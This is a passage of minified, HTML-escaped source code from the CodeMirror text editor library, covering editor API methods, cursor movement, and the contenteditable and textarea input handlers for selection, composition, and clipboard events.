var cut=type?type.indexOf(&quot;overlay &quot;):-1;return cut&lt;0?type:cut==0?null:type.slice(0,cut-1)},getModeAt:function(pos){var mode=this.doc.mode;if(!mode.innerMode){return mode}
return CodeMirror.innerMode(mode,this.getTokenAt(pos).state).mode},getHelper:function(pos,type){return this.getHelpers(pos,type)[0]},getHelpers:function(pos,type){var found=[];if(!helpers.hasOwnProperty(type)){return found}
var help=helpers[type],mode=this.getModeAt(pos);if(typeof mode[type]==&quot;string&quot;){if(help[mode[type]]){found.push(help[mode[type]])}}else if(mode[type]){for(var i=0;i&lt;mode[type].length;i++){var val=help[mode[type][i]];if(val){found.push(val)}}}else if(mode.helperType&amp;&amp;help[mode.helperType]){found.push(help[mode.helperType])}else if(help[mode.name]){found.push(help[mode.name])}
for(var i$1=0;i$1&lt;help._global.length;i$1++){var cur=help._global[i$1];if(cur.pred(mode,this)&amp;&amp;indexOf(found,cur.val)==-1){found.push(cur.val)}}
return found},getStateAfter:function(line,precise){var doc=this.doc;line=clipLine(doc,line==null?doc.first+doc.size-1:line);return getContextBefore(this,line+1,precise).state},cursorCoords:function(start,mode){var pos,range=this.doc.sel.primary();if(start==null){pos=range.head}else if(typeof start==&quot;object&quot;){pos=clipPos(this.doc,start)}else{pos=start?range.from():range.to()}
return cursorCoords(this,pos,mode||&quot;page&quot;)},charCoords:function(pos,mode){return charCoords(this,clipPos(this.doc,pos),mode||&quot;page&quot;)},coordsChar:function(coords,mode){coords=fromCoordSystem(this,coords,mode||&quot;page&quot;);return coordsChar(this,coords.left,coords.top)},lineAtHeight:function(height,mode){height=fromCoordSystem(this,{top:height,left:0},mode||&quot;page&quot;).top;return lineAtHeight(this.doc,height+this.display.viewOffset)},heightAtLine:function(line,mode,includeWidgets){var end=!1,lineObj;if(typeof line==&quot;number&quot;){var last=this.doc.first+this.doc.size-1;if(line&lt;this.doc.first){line=this.doc.first}else if(line&gt;last){line=last;end=!0}
lineObj=getLine(this.doc,line)}else{lineObj=line}
return intoCoordSystem(this,lineObj,{top:0,left:0},mode||&quot;page&quot;,includeWidgets||end).top+(end?this.doc.height-heightAtLine(lineObj):0)},defaultTextHeight:function(){return textHeight(this.display)},defaultCharWidth:function(){return charWidth(this.display)},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(pos,node,scroll,vert,horiz){var display=this.display;pos=cursorCoords(this,clipPos(this.doc,pos));var top=pos.bottom,left=pos.left;node.style.position=&quot;absolute&quot;;node.setAttribute(&quot;cm-ignore-events&quot;,&quot;true&quot;);this.display.input.setUneditable(node);display.sizer.appendChild(node);if(vert==&quot;over&quot;){top=pos.top}else if(vert==&quot;above&quot;||vert==&quot;near&quot;){var vspace=Math.max(display.wrapper.clientHeight,this.doc.height),hspace=Math.max(display.sizer.clientWidth,display.lineSpace.clientWidth);if((vert==&#039;above&#039;||pos.bottom+node.offsetHeight&gt;vspace)&amp;&amp;pos.top&gt;node.offsetHeight){top=pos.top-node.offsetHeight}else if(pos.bottom+node.offsetHeight&lt;=vspace){top=pos.bottom}
if(left+node.offsetWidth&gt;hspace){left=hspace-node.offsetWidth}}
node.style.top=top+&quot;px&quot;;node.style.left=node.style.right=&quot;&quot;;if(horiz==&quot;right&quot;){left=display.sizer.clientWidth-node.offsetWidth;node.style.right=&quot;0px&quot;}else{if(horiz==&quot;left&quot;){left=0}else if(horiz==&quot;middle&quot;){left=(display.sizer.clientWidth-node.offsetWidth)/2}
node.style.left=left+&quot;px&quot;}
if(scroll){scrollIntoView(this,{left:left,top:top,right:left+node.offsetWidth,bottom:top+node.offsetHeight})}},triggerOnKeyDown:methodOp(onKeyDown),triggerOnKeyPress:methodOp(onKeyPress),triggerOnKeyUp:onKeyUp,triggerOnMouseDown:methodOp(onMouseDown),execCommand:function(cmd){if(commands.hasOwnProperty(cmd)){return commands[cmd].call(null,this)}},triggerElectric:methodOp(function(text){triggerElectric(this,text)}),findPosH:function(from,amount,unit,visually){var dir=1;if(amount&lt;0){dir=-1;amount=-amount}
var cur=clipPos(this.doc,from);for(var i=0;i&lt;amount;++i){cur=findPosH(this.doc,cur,dir,unit,visually);if(cur.hitSide){break}}
return cur},moveH:methodOp(function(dir,unit){var this$1=this;this.extendSelectionsBy(function(range){if(this$1.display.shift||this$1.doc.extend||range.empty()){return findPosH(this$1.doc,range.head,dir,unit,this$1.options.rtlMoveVisually)}else{return dir&lt;0?range.from():range.to()}},sel_move)}),deleteH:methodOp(function(dir,unit){var sel=this.doc.sel,doc=this.doc;if(sel.somethingSelected()){doc.replaceSelection(&quot;&quot;,null,&quot;+delete&quot;)}else{deleteNearSelection(this,function(range){var other=findPosH(doc,range.head,dir,unit,!1);return dir&lt;0?{from:other,to:range.head}:{from:range.head,to:other}})}}),findPosV:function(from,amount,unit,goalColumn){var dir=1,x=goalColumn;if(amount&lt;0){dir=-1;amount=-amount}
var cur=clipPos(this.doc,from);for(var i=0;i&lt;amount;++i){var coords=cursorCoords(this,cur,&quot;div&quot;);if(x==null){x=coords.left}else{coords.left=x}
cur=findPosV(this,coords,dir,unit);if(cur.hitSide){break}}
return cur},moveV:methodOp(function(dir,unit){var this$1=this;var doc=this.doc,goals=[];var collapse=!this.display.shift&amp;&amp;!doc.extend&amp;&amp;doc.sel.somethingSelected();doc.extendSelectionsBy(function(range){if(collapse){return dir&lt;0?range.from():range.to()}
var headPos=cursorCoords(this$1,range.head,&quot;div&quot;);if(range.goalColumn!=null){headPos.left=range.goalColumn}
goals.push(headPos.left);var pos=findPosV(this$1,headPos,dir,unit);if(unit==&quot;page&quot;&amp;&amp;range==doc.sel.primary()){addToScrollTop(this$1,charCoords(this$1,pos,&quot;div&quot;).top-headPos.top)}
return pos},sel_move);if(goals.length){for(var i=0;i&lt;doc.sel.ranges.length;i++){doc.sel.ranges[i].goalColumn=goals[i]}}}),findWordAt:function(pos){var doc=this.doc,line=getLine(doc,pos.line).text;var start=pos.ch,end=pos.ch;if(line){var helper=this.getHelper(pos,&quot;wordChars&quot;);if((pos.sticky==&quot;before&quot;||end==line.length)&amp;&amp;start){--start}else{++end}
var startChar=line.charAt(start);var check=isWordChar(startChar,helper)?function(ch){return isWordChar(ch,helper)}:/\s/.test(startChar)?function(ch){return/\s/.test(ch)}:function(ch){return(!/\s/.test(ch)&amp;&amp;!isWordChar(ch))};while(start&gt;0&amp;&amp;check(line.charAt(start-1))){--start}
while(end&lt;line.length&amp;&amp;check(line.charAt(end))){++end}}
return new Range(Pos(pos.line,start),Pos(pos.line,end))},toggleOverwrite:function(value){if(value!=null&amp;&amp;value==this.state.overwrite){return}
if(this.state.overwrite=!this.state.overwrite){addClass(this.display.cursorDiv,&quot;CodeMirror-overwrite&quot;)}else{rmClass(this.display.cursorDiv,&quot;CodeMirror-overwrite&quot;)}
signal(this,&quot;overwriteToggle&quot;,this,this.state.overwrite)},hasFocus:function(){return this.display.input.getField()==activeElt()},isReadOnly:function(){return!!(this.options.readOnly||this.doc.cantEdit)},scrollTo:methodOp(function(x,y){scrollToCoords(this,x,y)}),getScrollInfo:function(){var scroller=this.display.scroller;return{left:scroller.scrollLeft,top:scroller.scrollTop,height:scroller.scrollHeight-scrollGap(this)-this.display.barHeight,width:scroller.scrollWidth-scrollGap(this)-this.display.barWidth,clientHeight:displayHeight(this),clientWidth:displayWidth(this)}},scrollIntoView:methodOp(function(range,margin){if(range==null){range={from:this.doc.sel.primary().head,to:null};if(margin==null){margin=this.options.cursorScrollMargin}}else if(typeof range==&quot;number&quot;){range={from:Pos(range,0),to:null}}else if(range.from==null){range={from:range,to:null}}
if(!range.to){range.to=range.from}
range.margin=margin||0;if(range.from.line!=null){scrollToRange(this,range)}else{scrollToCoordsRange(this,range.from,range.to,range.margin)}}),setSize:methodOp(function(width,height){var this$1=this;var interpret=function(val){return typeof val==&quot;number&quot;||/^\d+$/.test(String(val))?val+&quot;px&quot;:val};if(width!=null){this.display.wrapper.style.width=interpret(width)}
if(height!=null){this.display.wrapper.style.height=interpret(height)}
if(this.options.lineWrapping){clearLineMeasurementCache(this)}
var lineNo=this.display.viewFrom;this.doc.iter(lineNo,this.display.viewTo,function(line){if(line.widgets){for(var i=0;i&lt;line.widgets.length;i++){if(line.widgets[i].noHScroll){regLineChange(this$1,lineNo,&quot;widget&quot;);break}}}
++lineNo});this.curOp.forceUpdate=!0;signal(this,&quot;refresh&quot;,this)}),operation:function(f){return runInOp(this,f)},startOperation:function(){return startOperation(this)},endOperation:function(){return endOperation(this)},refresh:methodOp(function(){var oldHeight=this.display.cachedTextHeight;regChange(this);this.curOp.forceUpdate=!0;clearCaches(this);scrollToCoords(this,this.doc.scrollLeft,this.doc.scrollTop);updateGutterSpace(this.display);if(oldHeight==null||Math.abs(oldHeight-textHeight(this.display))&gt;.5||this.options.lineWrapping){estimateLineHeights(this)}
signal(this,&quot;refresh&quot;,this)}),swapDoc:methodOp(function(doc){var old=this.doc;old.cm=null;if(this.state.selectingText){this.state.selectingText()}
attachDoc(this,doc);clearCaches(this);this.display.input.reset();scrollToCoords(this,doc.scrollLeft,doc.scrollTop);this.curOp.forceScroll=!0;signalLater(this,&quot;swapDoc&quot;,this,old);return old}),phrase:function(phraseText){var phrases=this.options.phrases;return phrases&amp;&amp;Object.prototype.hasOwnProperty.call(phrases,phraseText)?phrases[phraseText]:phraseText},getInputField:function(){return this.display.input.getField()},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}};eventMixin(CodeMirror);CodeMirror.registerHelper=function(type,name,value){if(!helpers.hasOwnProperty(type)){helpers[type]=CodeMirror[type]={_global:[]}}
helpers[type][name]=value};CodeMirror.registerGlobalHelper=function(type,name,predicate,value){CodeMirror.registerHelper(type,name,value);helpers[type]._global.push({pred:predicate,val:value})}}
function findPosH(doc,pos,dir,unit,visually){var oldPos=pos;var origDir=dir;var lineObj=getLine(doc,pos.line);var lineDir=visually&amp;&amp;doc.direction==&quot;rtl&quot;?-dir:dir;function findNextLine(){var l=pos.line+lineDir;if(l&lt;doc.first||l&gt;=doc.first+doc.size){return!1}
pos=new Pos(l,pos.ch,pos.sticky);return lineObj=getLine(doc,l)}
function moveOnce(boundToLine){var next;if(unit==&quot;codepoint&quot;){var ch=lineObj.text.charCodeAt(pos.ch+(unit&gt;0?0:-1));if(isNaN(ch)){next=null}else{next=new Pos(pos.line,Math.max(0,Math.min(lineObj.text.length,pos.ch+dir*(ch&gt;=0xD800&amp;&amp;ch&lt;0xDC00?2:1))),-dir)}}else if(visually){next=moveVisually(doc.cm,lineObj,pos,dir)}else{next=moveLogically(lineObj,pos,dir)}
if(next==null){if(!boundToLine&amp;&amp;findNextLine()){pos=endOfLine(visually,doc.cm,lineObj,pos.line,lineDir)}else{return!1}}else{pos=next}
return!0}
if(unit==&quot;char&quot;||unit==&quot;codepoint&quot;){moveOnce()}else if(unit==&quot;column&quot;){moveOnce(!0)}else if(unit==&quot;word&quot;||unit==&quot;group&quot;){var sawType=null,group=unit==&quot;group&quot;;var helper=doc.cm&amp;&amp;doc.cm.getHelper(pos,&quot;wordChars&quot;);for(var first=!0;;first=!1){if(dir&lt;0&amp;&amp;!moveOnce(!first)){break}
var cur=lineObj.text.charAt(pos.ch)||&quot;\n&quot;;var type=isWordChar(cur,helper)?&quot;w&quot;:group&amp;&amp;cur==&quot;\n&quot;?&quot;n&quot;:!group||/\s/.test(cur)?null:&quot;p&quot;;if(group&amp;&amp;!first&amp;&amp;!type){type=&quot;s&quot;}
if(sawType&amp;&amp;sawType!=type){if(dir&lt;0){dir=1;moveOnce();pos.sticky=&quot;after&quot;}
break}
if(type){sawType=type}
if(dir&gt;0&amp;&amp;!moveOnce(!first)){break}}}
var result=skipAtomic(doc,pos,oldPos,origDir,!0);if(equalCursorPos(oldPos,result)){result.hitSide=!0}
return result}
function findPosV(cm,pos,dir,unit){var doc=cm.doc,x=pos.left,y;if(unit==&quot;page&quot;){var pageSize=Math.min(cm.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight);var moveAmount=Math.max(pageSize-.5*textHeight(cm.display),3);y=(dir&gt;0?pos.bottom:pos.top)+dir*moveAmount}else if(unit==&quot;line&quot;){y=dir&gt;0?pos.bottom+3:pos.top-3}
var target;for(;;){target=coordsChar(cm,x,y);if(!target.outside){break}
if(dir&lt;0?y&lt;=0:y&gt;=doc.height){target.hitSide=!0;break}
y+=dir*5}
return target}
var ContentEditableInput=function(cm){this.cm=cm;this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null;this.polling=new Delayed();this.composing=null;this.gracePeriod=!1;this.readDOMTimeout=null};ContentEditableInput.prototype.init=function(display){var this$1=this;var input=this,cm=input.cm;var div=input.div=display.lineDiv;disableBrowserMagic(div,cm.options.spellcheck,cm.options.autocorrect,cm.options.autocapitalize);function belongsToInput(e){for(var t=e.target;t;t=t.parentNode){if(t==div){return!0}
if(/\bCodeMirror-(?:line)?widget\b/.test(t.className)){break}}
return!1}
on(div,&quot;paste&quot;,function(e){if(!belongsToInput(e)||signalDOMEvent(cm,e)||handlePaste(e,cm)){return}
if(ie_version&lt;=11){setTimeout(operation(cm,function(){return this$1.updateFromDOM()}),20)}});on(div,&quot;compositionstart&quot;,function(e){this$1.composing={data:e.data,done:!1}});on(div,&quot;compositionupdate&quot;,function(e){if(!this$1.composing){this$1.composing={data:e.data,done:!1}}});on(div,&quot;compositionend&quot;,function(e){if(this$1.composing){if(e.data!=this$1.composing.data){this$1.readFromDOMSoon()}
this$1.composing.done=!0}});on(div,&quot;touchstart&quot;,function(){return input.forceCompositionEnd()});on(div,&quot;input&quot;,function(){if(!this$1.composing){this$1.readFromDOMSoon()}});function onCopyCut(e){if(!belongsToInput(e)||signalDOMEvent(cm,e)){return}
if(cm.somethingSelected()){setLastCopied({lineWise:!1,text:cm.getSelections()});if(e.type==&quot;cut&quot;){cm.replaceSelection(&quot;&quot;,null,&quot;cut&quot;)}}else if(!cm.options.lineWiseCopyCut){return}else{var ranges=copyableRanges(cm);setLastCopied({lineWise:!0,text:ranges.text});if(e.type==&quot;cut&quot;){cm.operation(function(){cm.setSelections(ranges.ranges,0,sel_dontScroll);cm.replaceSelection(&quot;&quot;,null,&quot;cut&quot;)})}}
if(e.clipboardData){e.clipboardData.clearData();var content=lastCopied.text.join(&quot;\n&quot;);e.clipboardData.setData(&quot;Text&quot;,content);if(e.clipboardData.getData(&quot;Text&quot;)==content){e.preventDefault();return}}
var kludge=hiddenTextarea(),te=kludge.firstChild;cm.display.lineSpace.insertBefore(kludge,cm.display.lineSpace.firstChild);te.value=lastCopied.text.join(&quot;\n&quot;);var hadFocus=document.activeElement;selectInput(te);setTimeout(function(){cm.display.lineSpace.removeChild(kludge);hadFocus.focus();if(hadFocus==div){input.showPrimarySelection()}},50)}
on(div,&quot;copy&quot;,onCopyCut);on(div,&quot;cut&quot;,onCopyCut)};ContentEditableInput.prototype.screenReaderLabelChanged=function(label){if(label){this.div.setAttribute(&#039;aria-label&#039;,label)}else{this.div.removeAttribute(&#039;aria-label&#039;)}};ContentEditableInput.prototype.prepareSelection=function(){var result=prepareSelection(this.cm,!1);result.focus=document.activeElement==this.div;return result};ContentEditableInput.prototype.showSelection=function(info,takeFocus){if(!info||!this.cm.display.view.length){return}
if(info.focus||takeFocus){this.showPrimarySelection()}
this.showMultipleSelections(info)};ContentEditableInput.prototype.getSelection=function(){return this.cm.display.wrapper.ownerDocument.getSelection()};ContentEditableInput.prototype.showPrimarySelection=function(){var sel=this.getSelection(),cm=this.cm,prim=cm.doc.sel.primary();var from=prim.from(),to=prim.to();if(cm.display.viewTo==cm.display.viewFrom||from.line&gt;=cm.display.viewTo||to.line&lt;cm.display.viewFrom){sel.removeAllRanges();return}
var curAnchor=domToPos(cm,sel.anchorNode,sel.anchorOffset);var curFocus=domToPos(cm,sel.focusNode,sel.focusOffset);if(curAnchor&amp;&amp;!curAnchor.bad&amp;&amp;curFocus&amp;&amp;!curFocus.bad&amp;&amp;cmp(minPos(curAnchor,curFocus),from)==0&amp;&amp;cmp(maxPos(curAnchor,curFocus),to)==0){return}
var view=cm.display.view;var start=(from.line&gt;=cm.display.viewFrom&amp;&amp;posToDOM(cm,from))||{node:view[0].measure.map[2],offset:0};var end=to.line&lt;cm.display.viewTo&amp;&amp;posToDOM(cm,to);if(!end){var measure=view[view.length-1].measure;var map=measure.maps?measure.maps[measure.maps.length-1]:measure.map;end={node:map[map.length-1],offset:map[map.length-2]-map[map.length-3]}}
if(!start||!end){sel.removeAllRanges();return}
var old=sel.rangeCount&amp;&amp;sel.getRangeAt(0),rng;try{rng=range(start.node,start.offset,end.offset,end.node)}catch(e){}
if(rng){if(!gecko&amp;&amp;cm.state.focused){sel.collapse(start.node,start.offset);if(!rng.collapsed){sel.removeAllRanges();sel.addRange(rng)}}else{sel.removeAllRanges();sel.addRange(rng)}
if(old&amp;&amp;sel.anchorNode==null){sel.addRange(old)}else if(gecko){this.startGracePeriod()}}
this.rememberSelection()};ContentEditableInput.prototype.startGracePeriod=function(){var this$1=this;clearTimeout(this.gracePeriod);this.gracePeriod=setTimeout(function(){this$1.gracePeriod=!1;if(this$1.selectionChanged()){this$1.cm.operation(function(){return this$1.cm.curOp.selectionChanged=!0})}},20)};ContentEditableInput.prototype.showMultipleSelections=function(info){removeChildrenAndAdd(this.cm.display.cursorDiv,info.cursors);removeChildrenAndAdd(this.cm.display.selectionDiv,info.selection)};ContentEditableInput.prototype.rememberSelection=function(){var sel=this.getSelection();this.lastAnchorNode=sel.anchorNode;this.lastAnchorOffset=sel.anchorOffset;this.lastFocusNode=sel.focusNode;this.lastFocusOffset=sel.focusOffset};ContentEditableInput.prototype.selectionInEditor=function(){var sel=this.getSelection();if(!sel.rangeCount){return!1}
var node=sel.getRangeAt(0).commonAncestorContainer;return contains(this.div,node)};ContentEditableInput.prototype.focus=function(){if(this.cm.options.readOnly!=&quot;nocursor&quot;){if(!this.selectionInEditor()||document.activeElement!=this.div){this.showSelection(this.prepareSelection(),!0)}
this.div.focus()}};ContentEditableInput.prototype.blur=function(){this.div.blur()};ContentEditableInput.prototype.getField=function(){return this.div};ContentEditableInput.prototype.supportsTouch=function(){return!0};ContentEditableInput.prototype.receivedFocus=function(){var input=this;if(this.selectionInEditor()){this.pollSelection()}else{runInOp(this.cm,function(){return input.cm.curOp.selectionChanged=!0})}
function poll(){if(input.cm.state.focused){input.pollSelection();input.polling.set(input.cm.options.pollInterval,poll)}}
this.polling.set(this.cm.options.pollInterval,poll)};ContentEditableInput.prototype.selectionChanged=function(){var sel=this.getSelection();return sel.anchorNode!=this.lastAnchorNode||sel.anchorOffset!=this.lastAnchorOffset||sel.focusNode!=this.lastFocusNode||sel.focusOffset!=this.lastFocusOffset};ContentEditableInput.prototype.pollSelection=function(){if(this.readDOMTimeout!=null||this.gracePeriod||!this.selectionChanged()){return}
var sel=this.getSelection(),cm=this.cm;if(android&amp;&amp;chrome&amp;&amp;this.cm.display.gutterSpecs.length&amp;&amp;isInGutter(sel.anchorNode)){this.cm.triggerOnKeyDown({type:&quot;keydown&quot;,keyCode:8,preventDefault:Math.abs});this.blur();this.focus();return}
if(this.composing){return}
this.rememberSelection();var anchor=domToPos(cm,sel.anchorNode,sel.anchorOffset);var head=domToPos(cm,sel.focusNode,sel.focusOffset);if(anchor&amp;&amp;head){runInOp(cm,function(){setSelection(cm.doc,simpleSelection(anchor,head),sel_dontScroll);if(anchor.bad||head.bad){cm.curOp.selectionChanged=!0}})}};ContentEditableInput.prototype.pollContent=function(){if(this.readDOMTimeout!=null){clearTimeout(this.readDOMTimeout);this.readDOMTimeout=null}
var cm=this.cm,display=cm.display,sel=cm.doc.sel.primary();var from=sel.from(),to=sel.to();if(from.ch==0&amp;&amp;from.line&gt;cm.firstLine()){from=Pos(from.line-1,getLine(cm.doc,from.line-1).length)}
if(to.ch==getLine(cm.doc,to.line).text.length&amp;&amp;to.line&lt;cm.lastLine()){to=Pos(to.line+1,0)}
if(from.line&lt;display.viewFrom||to.line&gt;display.viewTo-1){return!1}
var fromIndex,fromLine,fromNode;if(from.line==display.viewFrom||(fromIndex=findViewIndex(cm,from.line))==0){fromLine=lineNo(display.view[0].line);fromNode=display.view[0].node}else{fromLine=lineNo(display.view[fromIndex].line);fromNode=display.view[fromIndex-1].node.nextSibling}
var toIndex=findViewIndex(cm,to.line);var toLine,toNode;if(toIndex==display.view.length-1){toLine=display.viewTo-1;toNode=display.lineDiv.lastChild}else{toLine=lineNo(display.view[toIndex+1].line)-1;toNode=display.view[toIndex+1].node.previousSibling}
if(!fromNode){return!1}
var newText=cm.doc.splitLines(domTextBetween(cm,fromNode,toNode,fromLine,toLine));var oldText=getBetween(cm.doc,Pos(fromLine,0),Pos(toLine,getLine(cm.doc,toLine).text.length));while(newText.length&gt;1&amp;&amp;oldText.length&gt;1){if(lst(newText)==lst(oldText)){newText.pop();oldText.pop();toLine--}else if(newText[0]==oldText[0]){newText.shift();oldText.shift();fromLine++}else{break}}
var cutFront=0,cutEnd=0;var newTop=newText[0],oldTop=oldText[0],maxCutFront=Math.min(newTop.length,oldTop.length);while(cutFront&lt;maxCutFront&amp;&amp;newTop.charCodeAt(cutFront)==oldTop.charCodeAt(cutFront)){++cutFront}
var newBot=lst(newText),oldBot=lst(oldText);var maxCutEnd=Math.min(newBot.length-(newText.length==1?cutFront:0),oldBot.length-(oldText.length==1?cutFront:0));while(cutEnd&lt;maxCutEnd&amp;&amp;newBot.charCodeAt(newBot.length-cutEnd-1)==oldBot.charCodeAt(oldBot.length-cutEnd-1)){++cutEnd}
if(newText.length==1&amp;&amp;oldText.length==1&amp;&amp;fromLine==from.line){while(cutFront&amp;&amp;cutFront&gt;from.ch&amp;&amp;newBot.charCodeAt(newBot.length-cutEnd-1)==oldBot.charCodeAt(oldBot.length-cutEnd-1)){cutFront--;cutEnd++}}
newText[newText.length-1]=newBot.slice(0,newBot.length-cutEnd).replace(/^\u200b+/,&quot;&quot;);newText[0]=newText[0].slice(cutFront).replace(/\u200b+$/,&quot;&quot;);var chFrom=Pos(fromLine,cutFront);var chTo=Pos(toLine,oldText.length?lst(oldText).length-cutEnd:0);if(newText.length&gt;1||newText[0]||cmp(chFrom,chTo)){replaceRange(cm.doc,newText,chFrom,chTo,&quot;+input&quot;);return!0}};ContentEditableInput.prototype.ensurePolled=function(){this.forceCompositionEnd()};ContentEditableInput.prototype.reset=function(){this.forceCompositionEnd()};ContentEditableInput.prototype.forceCompositionEnd=function(){if(!this.composing){return}
clearTimeout(this.readDOMTimeout);this.composing=null;this.updateFromDOM();this.div.blur();this.div.focus()};ContentEditableInput.prototype.readFromDOMSoon=function(){var this$1=this;if(this.readDOMTimeout!=null){return}
this.readDOMTimeout=setTimeout(function(){this$1.readDOMTimeout=null;if(this$1.composing){if(this$1.composing.done){this$1.composing=null}else{return}}
this$1.updateFromDOM()},80)};ContentEditableInput.prototype.updateFromDOM=function(){var this$1=this;if(this.cm.isReadOnly()||!this.pollContent()){runInOp(this.cm,function(){return regChange(this$1.cm)})}};ContentEditableInput.prototype.setUneditable=function(node){node.contentEditable=&quot;false&quot;};ContentEditableInput.prototype.onKeyPress=function(e){if(e.charCode==0||this.composing){return}
e.preventDefault();if(!this.cm.isReadOnly()){operation(this.cm,applyTextInput)(this.cm,String.fromCharCode(e.charCode==null?e.keyCode:e.charCode),0)}};ContentEditableInput.prototype.readOnlyChanged=function(val){this.div.contentEditable=String(val!=&quot;nocursor&quot;)};ContentEditableInput.prototype.onContextMenu=function(){};ContentEditableInput.prototype.resetPosition=function(){};ContentEditableInput.prototype.needsContentAttribute=!0;function posToDOM(cm,pos){var view=findViewForLine(cm,pos.line);if(!view||view.hidden){return null}
var line=getLine(cm.doc,pos.line);var info=mapFromLineView(view,line,pos.line);var order=getOrder(line,cm.doc.direction),side=&quot;left&quot;;if(order){var partPos=getBidiPartAt(order,pos.ch);side=partPos%2?&quot;right&quot;:&quot;left&quot;}
var result=nodeAndOffsetInLineMap(info.map,pos.ch,side);result.offset=result.collapse==&quot;right&quot;?result.end:result.start;return result}
function isInGutter(node){for(var scan=node;scan;scan=scan.parentNode){if(/CodeMirror-gutter-wrapper/.test(scan.className)){return!0}}
return!1}
function badPos(pos,bad){if(bad){pos.bad=!0}return pos}
function domTextBetween(cm,from,to,fromLine,toLine){var text=&quot;&quot;,closing=!1,lineSep=cm.doc.lineSeparator(),extraLinebreak=!1;function recognizeMarker(id){return function(marker){return marker.id==id}}
function close(){if(closing){text+=lineSep;if(extraLinebreak){text+=lineSep}
closing=extraLinebreak=!1}}
function addText(str){if(str){close();text+=str}}
function walk(node){if(node.nodeType==1){var cmText=node.getAttribute(&quot;cm-text&quot;);if(cmText){addText(cmText);return}
var markerID=node.getAttribute(&quot;cm-marker&quot;),range;if(markerID){var found=cm.findMarks(Pos(fromLine,0),Pos(toLine+1,0),recognizeMarker(+markerID));if(found.length&amp;&amp;(range=found[0].find(0))){addText(getBetween(cm.doc,range.from,range.to).join(lineSep))}
return}
if(node.getAttribute(&quot;contenteditable&quot;)==&quot;false&quot;){return}
var isBlock=/^(pre|div|p|li|table|br)$/i.test(node.nodeName);if(!/^br$/i.test(node.nodeName)&amp;&amp;node.textContent.length==0){return}
if(isBlock){close()}
for(var i=0;i&lt;node.childNodes.length;i++){walk(node.childNodes[i])}
if(/^(pre|p)$/i.test(node.nodeName)){extraLinebreak=!0}
if(isBlock){closing=!0}}else if(node.nodeType==3){addText(node.nodeValue.replace(/\u200b/g,&quot;&quot;).replace(/\u00a0/g,&quot; &quot;))}}
for(;;){walk(from);if(from==to){break}
from=from.nextSibling;extraLinebreak=!1}
return text}
function domToPos(cm,node,offset){var lineNode;if(node==cm.display.lineDiv){lineNode=cm.display.lineDiv.childNodes[offset];if(!lineNode){return badPos(cm.clipPos(Pos(cm.display.viewTo-1)),!0)}
node=null;offset=0}else{for(lineNode=node;;lineNode=lineNode.parentNode){if(!lineNode||lineNode==cm.display.lineDiv){return null}
if(lineNode.parentNode&amp;&amp;lineNode.parentNode==cm.display.lineDiv){break}}}
for(var i=0;i&lt;cm.display.view.length;i++){var lineView=cm.display.view[i];if(lineView.node==lineNode){return locateNodeInLineView(lineView,node,offset)}}}
function locateNodeInLineView(lineView,node,offset){var wrapper=lineView.text.firstChild,bad=!1;if(!node||!contains(wrapper,node)){return badPos(Pos(lineNo(lineView.line),0),!0)}
if(node==wrapper){bad=!0;node=wrapper.childNodes[offset];offset=0;if(!node){var line=lineView.rest?lst(lineView.rest):lineView.line;return badPos(Pos(lineNo(line),line.text.length),bad)}}
var textNode=node.nodeType==3?node:null,topNode=node;if(!textNode&amp;&amp;node.childNodes.length==1&amp;&amp;node.firstChild.nodeType==3){textNode=node.firstChild;if(offset){offset=textNode.nodeValue.length}}
while(topNode.parentNode!=wrapper){topNode=topNode.parentNode}
var measure=lineView.measure,maps=measure.maps;function find(textNode,topNode,offset){for(var i=-1;i&lt;(maps?maps.length:0);i++){var map=i&lt;0?measure.map:maps[i];for(var j=0;j&lt;map.length;j+=3){var curNode=map[j+2];if(curNode==textNode||curNode==topNode){var line=lineNo(i&lt;0?lineView.line:lineView.rest[i]);var ch=map[j]+offset;if(offset&lt;0||curNode!=textNode){ch=map[j+(offset?1:0)]}
return Pos(line,ch)}}}}
var found=find(textNode,topNode,offset);if(found){return badPos(found,bad)}
for(var after=topNode.nextSibling,dist=textNode?textNode.nodeValue.length-offset:0;after;after=after.nextSibling){found=find(after,after.firstChild,0);if(found){return badPos(Pos(found.line,found.ch-dist),bad)}else{dist+=after.textContent.length}}
for(var before=topNode.previousSibling,dist$1=offset;before;before=before.previousSibling){found=find(before,before.firstChild,-1);if(found){return badPos(Pos(found.line,found.ch+dist$1),bad)}else{dist$1+=before.textContent.length}}}
var TextareaInput=function(cm){this.cm=cm;this.prevInput=&quot;&quot;;this.pollingFast=!1;this.polling=new Delayed();this.hasSelection=!1;this.composing=null};TextareaInput.prototype.init=function(display){var this$1=this;var input=this,cm=this.cm;this.createField(display);var te=this.textarea;display.wrapper.insertBefore(this.wrapper,display.wrapper.firstChild);if(ios){te.style.width=&quot;0px&quot;}
on(te,&quot;input&quot;,function(){if(ie&amp;&amp;ie_version&gt;=9&amp;&amp;this$1.hasSelection){this$1.hasSelection=null}
input.poll()});on(te,&quot;paste&quot;,function(e){if(signalDOMEvent(cm,e)||handlePaste(e,cm)){return}
cm.state.pasteIncoming=+new Date;input.fastPoll()});function prepareCopyCut(e){if(signalDOMEvent(cm,e)){return}
if(cm.somethingSelected()){setLastCopied({lineWise:!1,text:cm.getSelections()})}else if(!cm.options.lineWiseCopyCut){return}else{var ranges=copyableRanges(cm);setLastCopied({lineWise:!0,text:ranges.text});if(e.type==&quot;cut&quot;){cm.setSelections(ranges.ranges,null,sel_dontScroll)}else{input.prevInput=&quot;&quot;;te.value=ranges.text.join(&quot;\n&quot;);selectInput(te)}}
if(e.type==&quot;cut&quot;){cm.state.cutIncoming=+new Date}}
on(te,&quot;cut&quot;,prepareCopyCut);on(te,&quot;copy&quot;,prepareCopyCut);on(display.scroller,&quot;paste&quot;,function(e){if(eventInWidget(display,e)||signalDOMEvent(cm,e)){return}
if(!te.dispatchEvent){cm.state.pasteIncoming=+new Date;input.focus();return}
var event=new Event(&quot;paste&quot;);event.clipboardData=e.clipboardData;te.dispatchEvent(event)});on(display.lineSpace,&quot;selectstart&quot;,function(e){if(!eventInWidget(display,e)){e_preventDefault(e)}});on(te,&quot;compositionstart&quot;,function(){var start=cm.getCursor(&quot;from&quot;);if(input.composing){input.composing.range.clear()}
